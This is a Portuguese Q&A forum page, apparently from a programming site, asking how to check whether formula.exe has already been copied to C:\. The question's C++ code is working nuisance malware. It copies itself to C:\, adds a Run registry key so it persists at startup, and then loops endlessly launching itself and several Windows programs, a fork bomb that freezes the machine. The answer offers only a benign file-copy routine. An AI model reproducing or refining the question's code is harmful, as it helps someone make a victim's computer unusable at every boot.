0

Como verificar se o arquivo formula.exe já foi copiado para o diretório c:\, e caso ele não tenha sido copiado crie uma copia dele.

#include <iostream>
#include <Windows.h>
#include <lmcons.h>
#include <stdio.h>
#include <stdlib.h>
#include <locale.h>
#include <string>

using namespace std;

string dir() {
    char buffer[MAX_PATH];
    GetModuleFileName( NULL, buffer, MAX_PATH );
    string::size_type pos = string( buffer ).find_last_of( "\\/" );
    return string( buffer ).substr( 0, pos);
}

int main(){
    string copia = "copy ";

    copia += dir();

    copia += "\\formula.exe c:\\formula.exe"; 

    system(copia.c_str());

    string cmd = "reg add HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /t REG_SZ /v formula /d c:\\formula.exe";

    system(cmd.c_str());


    int black=0;

    setlocale(LC_ALL, "Portuguese");

    SetConsoleTitle("formula");

    while(black<1){

        system("start c:\\formula.exe");

        system ("start iexplore");

        system ("start notepad");

        system ("start calc");

        system ("start mspaint");

        system ("start explorer");

        system ("start wmplayer");
    }

return 0;
}

1 Resposta 1

2

Para copiar aquivos em C++ com um bom controle de erros, sugiro algo como:

#include <fstream>
#include <iostream>
#include <stdexcept>

void copiar( const char * origem, const char * destino )
{
    std::ifstream orig( origem, std::ios::binary );

    if( !orig.is_open() )
        throw std::runtime_error("Erro abrindo arquivo de origem para leitura.");

    std::ofstream dest( destino, std::ios::binary );

    if( !dest.is_open() )
        throw std::runtime_error("Erro abrindo arquivo de destino para gravacao.");

    dest << orig.rdbuf();

    if( dest.bad() )
        throw std::runtime_error("Erro gravando arquivo de destino.");
}

int main( void )
{
    try
    {
        copiar( "origem.exe", "destino.exe" );
    }
    catch( std::exception & e )
    {
        std::cout << "Erro copiando arquivo: " << e.what() << std::endl;
        return 1;
    }

    return 0;
}

Você deve fazer log-in para responder a esta pergunta.

Esta não é a resposta que você está procurando? Pesquise outras perguntas com a tag .